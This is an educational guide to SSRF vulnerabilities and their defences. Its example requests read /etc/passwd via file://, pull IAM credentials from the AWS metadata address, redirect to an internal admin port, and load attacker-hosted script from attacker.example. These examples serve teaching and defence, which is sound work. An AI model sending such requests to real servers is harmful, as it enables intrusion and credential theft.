It is common for a server to send requests to other systems. In certain situations, however, an attacker may manage to manipulate these requests: by altering certain details of the path or parameters, by targeting a different host, or even by forcing the use of a different protocol. When an attacker thus manages to gain total or partial control over a request sent by the server, they may, for example, attempt to access internal systems, interact with services that are normally inaccessible, or retrieve sensitive information.
Sending requests to other systems is part of the normal operation of many applications. Certain features offered to users may require this; the server may also need to communicate with a third-party service using parameters provided by the user. When this data, if not adequately validated, influences the request sent by the server, a Server-Side Request Forgery (SSRF) vulnerability may arise.
In this article, we outline the principle and operation of SSRF. We also detail various scenarios in which an SSRF vulnerability may arise, as well as the techniques used to exploit it and the key security measures to protect against it.
Comprehensive Guide to SSRF (Server-Side Request Forgery) Vulnerabilities
What is an SSRF?
An SSRF (Server-Side Request Forgery) is a vulnerability, listed as CWE-918, which arises when an application uses user-controllable data (such as a URL, hostname or IP address) to make a server-side request, without adequately validating the destination or parameters of that request.
An attacker can then exploit this functionality to force the vulnerable server to send requests to resources to which it should not have access. These may include internal services, administration interfaces, APIs or other resources accessible from the server’s network but not directly exposed to the attacker.
Common SSRF Vulnerability Exploitations
SSRF and manipulation of requests sent via an API Gateway
In an architecture comprising several services, developers may choose not to expose each of them directly to the internet. An API Gateway is then placed at the front end to centralise certain functions, such as request routing, authentication and access controls.
The gateway receives requests from clients and forwards them to the corresponding internal service. Some routes may be accessible to all users, whilst others are restricted to specific roles or privileges.
Example of an SSRF vulnerability
Let’s take the example of a note-taking app that allows users to view both public and private notes.
The Gateway allows any user to view public notes, whilst access to private notes is restricted to administrators.
class NotesController {
@Get(‘public’)
publicNotes(@Query(‘userid’) userid) {
return fetch(`http://note-service.local/users/${userid}/public`;
}
@Get(‘private’)
@Roles(Role.Admin)
privateNotes(@Query(‘userid’) userid) {
return fetch(`http://note-service.local/users/${userid}/private`;
}
}
In this example, the Gateway retrieves the target user’s ID from the userid parameter, then inserts it directly into the URL used to query the internal service note-service.local.
At first glance, the access controls appear to be correctly applied: the route /notes/private is restricted to administrators, whilst /notes/public is accessible without any special privileges.
However, the userid parameter is not validated before being inserted into the URL. An attacker could therefore inject special characters capable of altering the structure of the request sent by the Gateway.
For example, an attacker who is not an administrator could send the following request:
GET /notes/public?userid=1%2Fprivate%3F HTTP/1.1
Host: api-gateway.example.org
User-Agent: attacker
After URL decoding, the value of the userid parameter becomes:
1/private?
The Gateway then constructs the following URL:
http://note-service.local/users/1/private?/public
The ? character marks the start of a URL’s query string. The part used as the path by the internal server is therefore:
/users/1/private
whereas /public is interpreted as part of the query string.
The internal service can therefore receive a request equivalent to:
GET /users/1/private?/public HTTP/1.1
Host: note-service.local
User-Agent: gateway
From the point of view of HTTP routing, the requested path is therefore:
/users/1/private
The request therefore reaches the functionality for viewing private notes, even though the attacker used the API Gateway’s public endpoint.
The access control enforced by the Gateway is thus bypassed: the Gateway treats the request as being directed to /notes/public, whilst the internal service is in fact receiving a request for a private resource.
This scenario also illustrates that an SSRF does not necessarily require the attacker to be able to control a complete URL. Here, the hostname note-service.local remains entirely defined by the application. However, control over a single segment of the path is sufficient to alter the logical destination of the request on the server side.
How can this vulnerability be fixed?
Several additional measures can be put in place to address this vulnerability.
The first involves strictly validating the data provided by the user. In this example, as userid is intended to represent a numeric identifier, only values matching the expected format should be accepted. An explicit conversion to a numeric type is also preferable where possible.
User-controlled data should also be encoded before being inserted into a URL component. Characters such as /, ? or # must not be allowed to alter the structure of the URL constructed by the application.
Finally, sensitive internal services should not automatically assume that a request originating from the API Gateway is legitimate. Where the architecture permits, they must also verify the permissions associated with the user or the authentication context provided.
This defence-in-depth approach helps to limit the impact of a vulnerability at the Gateway level: a hijacked request must not, on its own, grant access to a sensitive feature.
SSRF with server-side URL validation
Many features require a server to send a request to a URL provided, either in full or in part, by a user. This is particularly the case for web page preview features, configurable webhooks, and the retrieval of SAML metadata documents when setting up SSO.
When the user has full control over this URL and no adequate restrictions are in place, there are numerous potential exploitation vectors. In particular, an attacker may attempt to modify the protocol used, the host or the destination port in order to access internal services or an external server under their control. However, the exact possibilities depend on the protocols and behaviours supported by the server-side library used to make the request.
Take, for example, a service that archives the content of a web page. The user provides the URL of the resource to be archived; the server makes a request to that URL, stores the response in its cache, and then returns the content to the client.
class ArchiveController {
@Get("archive")
async archive(@Query("url") url) {
if (cache.has(url)) {
return cache.get(url);
}
const response = await request(url);
const content = await response.body();
cache.set(url, content);
return content;
}
}
In this example, no validation is carried out on the URL provided. An attacker can therefore control various components of the URL: the scheme, the host, the port, the path or even the parameters. This opens up several potential exploitation scenarios.
Exploiting SSRF via non-HTTP protocols
A URL is not necessarily limited to the http:// and https:// schemas. Depending on the language, libraries and network client used by the application, other protocols or schemas may be supported.
For example, some clients may accept file://, allowing access to local files, as well as protocols such as FTP or Gopher. The exact support depends entirely on the implementation used: not all HTTP clients support these protocols.
If the client used by our application were to support the file:// scheme, an attacker could attempt to read a local file by sending the following request:
GET /archive?url=file:///etc/passwd HTTP/1.1
Host: archive.example.org
User-Agent: attacker
Instead of making an HTTP request, the client would then attempt to read the /etc/passwd file directly from the system hosting the application. If its contents are then returned to the user, the response might look something like this:
HTTP/1.1 200 OK
Server: archive
Content-Type: text/plain
root:x:0:0:Super User:/root:/usr/bin/bash
bin:x:1:1:bin:/bin:/usr/sbin/nologin
daemon:x:2:2:daemon:/sbin:/usr/sbin/nologin
[...]
Depending on the permissions of the process running the application, this technique may enable the retrieval of sensitive files: configuration files, variables or secrets stored on disk, keys, application files or even source code.
Other protocols may further expand the scope of exploitation. For example, when a client supports gopher://, an attacker may, in certain contexts, establish communication with non-HTTP services accessible from the server.
Knowledge of the language, libraries and network client used by the application is therefore crucial for identifying which protocols can actually be exploited. To mitigate this risk, the application must explicitly restrict the authorised protocols, generally to http:// and https://. This restriction must be applied both during URL validation and in the configuration of the network client itself.
Access to internal servers
When the attacker has full control over the URL, they can also modify its host and port to force the vulnerable server to establish connections to resources that are normally inaccessible from the Internet.
In particular, they may attempt to access local or internal services, for example via loopback addresses, private address ranges or internal DNS names.
The vulnerable server then acts as an intermediary, allowing the attacker to interact with their network environment.
Different addresses, ports and paths can be tested to map out the accessible services. Depending on the information returned by the application (response content, HTTP status code, response size or simply response time), the attacker can identify open ports or internal applications.
This technique can also be used to bypass certain network filtering rules. For example, an internal service may reject all connections originating from the Internet whilst accepting those from the network on which the vulnerable application resides.
The impact becomes particularly significant when internal services implicitly treat requests originating from the local network as legitimate and do not require additional authentication.
Cloud environments are another common scenario. Several providers expose metadata services accessible from workloads so that the latter can obtain information about their runtime environment.
On an AWS EC2 instance, the Instance Metadata Service (IMDS) is accessible via the link-local address:
169.254.169.254
If IMDSv1 is enabled and an IAM role is associated with the instance, an SSRF that allows GET requests to be made could potentially be used to query:
GET /archive?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: archive.example.org
User-Agent: attacker
The metadata service can then return the name of the IAM role associated with the instance. The attacker can then query the corresponding resource:
http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role
and, depending on the configuration, retrieve temporary credentials associated with that role.
The impact therefore depends directly on the IAM permissions granted: the retrieved credentials could potentially be used to access other AWS resources.
This scenario must, however, be distinguished from an environment that enforces IMDSv2. IMDSv2 first requires a PUT request to obtain a token, followed by the inclusion of this token in a specific header for subsequent requests. An SSRF limited to a simple GET request without header validation is therefore generally insufficient to replicate this scenario. AWS also allows the use of IMDSv2 to be made mandatory.
How can you protect yourself?
Preventing unauthorised access to internal resources is more complex than simply validating the string of characters that make up the URL.
The application must first parse the URL using a suitable library and authorise only the necessary schemas. Where the use case requires accepting arbitrary destinations on the Internet, the resolved addresses must also be checked in order to reject, in particular, loopback, private and link-local addresses, and more generally any ranges that should not be accessible.
This verification must take into account both IPv4 and IPv6.
However, validating the domain name and then allowing the HTTP client to perform its own DNS resolution at a later stage can introduce a delay between the verification and the actual use of the destination. An attacker controlling the domain’s DNS may, in particular, attempt to modify the address returned between these different stages: this is the principle exploited by certain DNS rebinding attacks.
The security policy must therefore be applied as close as possible to the actual establishment of the connection. Depending on the implementation, this may involve, for example, checking the addresses actually returned by the resolution used to open the socket.
It is also important to monitor new requests triggered by further attempts and, in particular, HTTP redirects. OWASP specifically recommends disabling automatic redirect tracking where it is not necessary, as redirects can be used to bypass validation carried out solely on the initial URL.
Finally, these application-level safeguards should ideally be supplemented by network-level measures: filtering of outbound traffic, segmentation, restriction of access to internal networks and authentication for sensitive services.
Requests to external servers
URL injection can also be used to force the vulnerable server to send requests to external systems.
In some cases, this simply allows the attacker to use the vulnerable server’s IP address as the source of the connection. This can be useful when the targeted system applies restrictions based on the source address or when an attacker seeks to conceal the true origin of a request.
However, the attacker can also make the URL point to a server under their control.
This situation allows them to fully control the response received by the vulnerable application and to exploit the behaviour of the HTTP client or the way in which this response is subsequently processed.
In particular, a server controlled by the attacker may respond with a redirection:
HTTP/1.1 302 Found
Location: http://127.0.0.1:8080/admin
If the application only checks the initial URL:
https://attacker.example/
but its HTTP client automatically follows the redirection, an external URL deemed legitimate may ultimately result in a request being sent to an internal service.
The same logic can sometimes be used to attempt to switch to a different protocol when the network client permits it.
Destination checks must therefore be applied at every stage of a chain of redirects, or automatic redirection tracking must simply be disabled when it is not necessary.
Another scenario arises when the application sends the content retrieved by the server directly to the browser.
Let’s assume that an attacker hosts the following page on their own server:
<script>alert(42)</script>
He can then send a victim a URL using the archiving feature:
GET /archive?url=https://attacker.example/xss.html HTTP/1.1
Host: archive.example.org
User-Agent: victim
The vulnerable server then retrieves the content:
GET /xss.html HTTP/1.1
Host: attacker.example
User-Agent: archive-server
If the application then returns this response as HTML content served from its own domain:
HTTP/1.1 200 OK
Server: archive
Content-Type: text/html
<script>alert(42)</script>
The victim’s browser interprets the document within the security context of archive.example.org. The JavaScript controlled by the attacker can then be executed with the application’s origin.
In this case, SSRF allows the attacker to control a server-side retrieved resource, whilst the way in which this resource is relayed back to the browser transforms the issue into an XSS vulnerability.
However, this exploit is only possible if several conditions are met: the attacker must be able to control the retrieved content, and the application must then serve it in a context that allows it to be interpreted as active HTML.
In our example, the presence of a cache may also increase the impact if the malicious content is stored and subsequently served to other users.
To avoid this type of problem, an application should not arbitrarily render remote content, such as an HTML page, as if it belonged to its own origin. Where content is to be displayed or downloaded only, a fixed Content-Type that cannot be interpreted as HTML may be used, possibly accompanied by a Content-Disposition: attachment.
A restrictive Content Security Policy can provide additional protection, but must not replace secure content handling. Where the application does need to display remote HTML, it must be properly sanitised and, where possible, isolated from the application’s main domain.
Generally speaking, the more control the user has over the components of the URL sent by the server, the greater the potential for exploitation. Control over a complete URL must therefore be regarded as a particularly sensitive attack surface and protected at multiple levels: input validation, network client restrictions, control of DNS resolution and redirects, network filtering and secure handling of responses.
How To Prevent SSRF Vulnerabilities?
So far, we have mainly considered the situation from the perspective of the server sending the request that has been hijacked by the attacker. However, it is also important to consider the issue from the perspective of the server targeted by this request.
As we have seen, certain applications must legitimately be able to send requests to destinations that can be configured by their users. In some cases, therefore, severely restricting the servers that can be contacted is simply not compatible with the expected operation of the service.
An attacker may then attempt to exploit this functionality to have a request sent to another organisation’s infrastructure.
This scenario does not necessarily imply an SSRF vulnerability in the service acting as an intermediary. The ability to freely choose a destination may be part of its normal operation. From the perspective of the targeted server, however, the result is similar: a request controlled by an attacker originates from a third-party system that may have been considered trustworthy.
This is a particular issue with certain service integrations. For example, SaaS platforms may need to send webhooks to an application, whilst monitoring solutions may make regular requests to endpoints to check their availability.
Why is IP address filtering not enough?
An initial security measure often involves identifying the IP address ranges used by the provider and then configuring the firewall to allow only connections originating from those ranges.
This protection remains relevant: it significantly reduces the number of systems that can directly contact the service.
However, it does not necessarily constitute sufficient assurance.
In the case of a multi-tenant SaaS service, the same infrastructure and outgoing IP addresses may be used for requests from multiple customers. An attacker who themselves has an account on the platform may then potentially configure a feature to send a request to the targeted infrastructure.
The request will indeed originate from an IP address belonging to the provider authorised by the firewall, without having been triggered by a legitimate configuration from the targeted organisation.
The firewall is able to verify that the request originates from the SaaS service, but not necessarily which client of that service is the source.
IP address allowlisting should therefore be regarded as a defence-in-depth measure rather than a standalone authentication mechanism.
Authenticate incoming requests
Where the service being used allows it, the best approach is to add a mechanism enabling the target server to verify that the request received is indeed a legitimate integration.
In the case of webhooks, this often involves cryptographically signing the request’s content using a shared secret.
GitHub, for example, allows you to associate a secret with a webhook. This is used to calculate an HMAC-SHA256 signature of the payload, which is transmitted in the header:
X-Hub-Signature-256
The receiving application recalculates the signature using the raw body of the request and its own secret, then compares it with the one received. A request originating from the GitHub infrastructure but generated by a webhook configured by another user will not contain the expected secret and must therefore be rejected. GitHub recommends carrying out this comparison using a time-resistant function.
Depending on the capabilities of the third-party service, other mechanisms may also be used: dedicated authentication tokens, HTTP authentication, client certificates or mTLS, for example.
The objective remains the same: not to deduce the identity or legitimacy of the sender solely from their network address.
Limit the capacity of the exposed service
However, there are occasions when the third-party service does not provide a sufficiently robust authentication mechanism. In such cases, the application’s architecture must limit as much as possible what a request from that service can do.
Take, for example, a monitoring platform whose outgoing IP addresses are shared amongst several clients. If this platform needs to check that an internal application is available, it would be risky to grant it access to a generic interface that would then allow it to reach various internal resources.
A better approach is to expose an endpoint specifically designed for monitoring, for example:
GET /health
This can only return the information that is strictly necessary:
{
"status": "ok"
}
without allowing the client to arbitrarily choose a destination, a path or an internal resource.
In particular, you must avoid turning this endpoint into a generic proxy of this type:
GET /health?target=http://internal-service.local/
as the attacker would then once again be able to use the exposed server as a gateway to the internal network.
Additional controls can also be implemented: restricting the HTTP methods accepted, strictly validating paths and parameters, limiting the volume of requests, or separating the endpoint from the rest of the application.
Where possible, an architecture using a monitoring agent deployed directly within the internal network – which itself initiates communications with the SaaS service – also helps to avoid unnecessarily exposing internal resources.
Combine multiple levels of protection
Protecting a service that is likely to be targeted by this type of request therefore ideally relies on several complementary layers:
- filtering source IP addresses when the provider publishes dedicated ranges;
- authenticating or cryptographically verifying requests where a signature mechanism, token or certificate can be used;
- exposing only those functionalities strictly necessary for the third-party service;
- applying server-side authorisation controls, regardless of the request’s network origin;
- segmenting the network so that an endpoint exposed to an external service cannot become a jumping-off point to the entire information system.
The key principle is that a request originating from a known third-party service must not be considered legitimate solely on the basis of its IP address. In shared environments, trusting the provider does not necessarily mean trusting all users capable of initiating requests from its infrastructure.
Conclusion
Communication between servers is ubiquitous in modern applications and serves many legitimate purposes: calls to third-party APIs, webhooks, retrieving remote resources, SSO integrations and communication between internal services.
However, as soon as a user can influence a request sent by the server – even partially – this functionality becomes a potential attack surface. As we have seen, an SSRF can be used to access internal services, bypass certain network restrictions, retrieve sensitive information, or even use the vulnerable server to attack other systems.
Protection against SSRFs therefore does not rely on a single measure. It requires a combination of strict input validation, control of authorised protocols and destinations, secure management of redirects and DNS resolution, network filtering, and authentication for sensitive services.
Finally, the safeguards put in place must be tested under realistic conditions. A penetration test, in particular, makes it possible to check whether the various controls can be bypassed and to identify exploitation scenarios that are not always apparent during the application’s design phase.